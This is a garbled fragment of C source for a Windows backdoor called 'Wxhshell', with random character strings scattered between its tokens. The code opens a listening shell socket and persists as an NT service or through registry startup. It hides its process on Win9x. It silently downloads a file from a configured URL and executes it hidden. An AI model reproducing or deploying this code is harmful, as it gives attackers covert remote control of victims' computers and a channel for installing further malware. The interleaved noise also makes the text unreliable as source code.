gD03 *.Hnt\4| if(strstr(procName,"services")) return 1; // 以服务启动 ~x|Sv4M ?|yJ#j1= return 0; // 注册表启动 I3b-uEHev } }kefrT ~2ei+#d!^ // 主模块 |q)Q<%VS' int StartWxhshell(LPSTR lpCmdLine) A~SSu.L@ { Mn;CG'FA SOCKET wsl; c4W"CD;D BOOL val=TRUE; 90D.G_45 int port=0; X]%4QIeS struct sockaddr_in door; o;/F=Zp :8T@96]P if(wscfg.ws_autoins) Install(); U<byR!qLie (7!(e
, port=atoi(lpCmdLine); vG:,oB} v3#47F) if(port<=0) port=wscfg.ws_port; n:z>l,`C] ?KW?] o WSADATA data; 0k]N%!U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sRI8znus :b)@h|4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /^ 7
9|$E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kIo?<=F8T door.sin_family = AF_INET; e$I:[> door.sin_addr.s_addr = inet_addr("127.0.0.1"); P^+>QJ1 door.sin_port = htons(port); KO$8lMm$ ( h,F{7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @},k\Is closesocket(wsl); L6qA=b~iz return 1; T8
/'`s } WG4|Jf Y h8;"B if(listen(wsl,2) == INVALID_SOCKET) { 40/[uW" closesocket(wsl); 2b1:Tt9 return 1; !\v3bOi& } ,aL"Wy( Wxhshell(wsl); v9kzMxs, WSACleanup(); 6Z:|"AwC2 H[U*'
2TJ return 0; |REU7?B ga%77t|jm3 } u?/]"4 %&GQ]pmcY // 以NT服务方式启动 {.W%m VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N?:S?p9R@ { $%t DWORD status = 0; ]UTP~2N DWORD specificError = 0xfffffff; /m:}rD 8yl/!O,v serviceStatus.dwServiceType = SERVICE_WIN32; tJ3s#q6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2Z |kf9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |3@]5f& serviceStatus.dwWin32ExitCode = 0; 'KG`{K$ serviceStatus.dwServiceSpecificExitCode = 0; ]ORat.*0[T serviceStatus.dwCheckPoint = 0; $R4\jIewV serviceStatus.dwWaitHint = 0; ,pepr9Yd 4f5$^uN$qA hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ttrp|( if (hServiceStatusHandle==0) return; hG)lVo!L4j O[5ti=W status = GetLastError(); @^@-A\7[KO if (status!=NO_ERROR) p%'((!a2 { #kEdf0 serviceStatus.dwCurrentState = SERVICE_STOPPED; -`o:W?V$u serviceStatus.dwCheckPoint = 0; X_2I4Jz]6 serviceStatus.dwWaitHint = 0; ['<rfK serviceStatus.dwWin32ExitCode = status; 7#QH4$@1P serviceStatus.dwServiceSpecificExitCode = specificError; nK$m:= SetServiceStatus(hServiceStatusHandle, &serviceStatus); {D8IA3w return; CPG %*E* } g?wogCs5 9G9lSj5> serviceStatus.dwCurrentState = SERVICE_RUNNING; '@bA_F( serviceStatus.dwCheckPoint = 0; zvWQ&?&o2 serviceStatus.dwWaitHint = 0; 38^_(N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SQK6BEjE8 } llJ)u!=5 ]2'~e,"O // 处理NT服务事件,比如:启动、停止 TB\CSXb VOID WINAPI NTServiceHandler(DWORD fdwControl) .X9^ A,9 { 3ji#"cX switch(fdwControl)
!JA63 { 5`Z#m:+u case SERVICE_CONTROL_STOP: 0fNBy^(K serviceStatus.dwWin32ExitCode = 0; IA'AA|v serviceStatus.dwCurrentState = SERVICE_STOPPED; @VAhmYz serviceStatus.dwCheckPoint = 0; 'M{_S serviceStatus.dwWaitHint = 0; wVTo7o%U { va.wdk g SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?a}~yz#B( } :OM>z4mQ return; \I=:,cz*, case SERVICE_CONTROL_PAUSE: + h&V; serviceStatus.dwCurrentState = SERVICE_PAUSED; fA^ O break; M?o`tWLhF case SERVICE_CONTROL_CONTINUE: %/y/,yd serviceStatus.dwCurrentState = SERVICE_RUNNING; AJ /_l; break; }PJ:9<G
y case SERVICE_CONTROL_INTERROGATE: ;I0/zeM% break; ?{'Q}% }; CpXv?uU SetServiceStatus(hServiceStatusHandle, &serviceStatus); mB\|<2 } rX[R`,`>Z[ O%I' // 标准应用程序主函数 *`W82V int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZmDr$iU~ { f!yxS?j3 !p2&$s"N. // 获取操作系统版本 n8Fi?/ OsIsNt=GetOsVer(); (g\'Zw5bk GetModuleFileName(NULL,ExeFile,MAX_PATH); 0IK']C +?p ;,Z%5 // 从命令行安装 ZO~N|s6B^ if(strpbrk(lpCmdLine,"iI")) Install(); T+fU+GLD @`yfft // 下载执行文件 C-7.Sa
if(wscfg.ws_downexe) { 9}-,dgAB if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +qdK]RR} WinExec(wscfg.ws_filenam,SW_HIDE); j:#[voo7 } uIu0"pv`x |v+b?@ if(!OsIsNt) { > jcNo3S // 如果时win9x,隐藏进程并且设置为注册表启动 wJ}8y4O!N HideProc(); @S}'_g StartWxhshell(lpCmdLine); S=Zjdbd } uf6{M_jXZ else [T|~Kh%# if(StartFromService()) .Qaqkb-Ty // 以服务方式启动
7@`(DU`z StartServiceCtrlDispatcher(DispatchTable); ^t*BWJxPC else 4PdFq*A // 普通方式启动 8PQ& 7o StartWxhshell(lpCmdLine); `` ={FaV~m laAG%lq/' return 0; )}R0'QGd }
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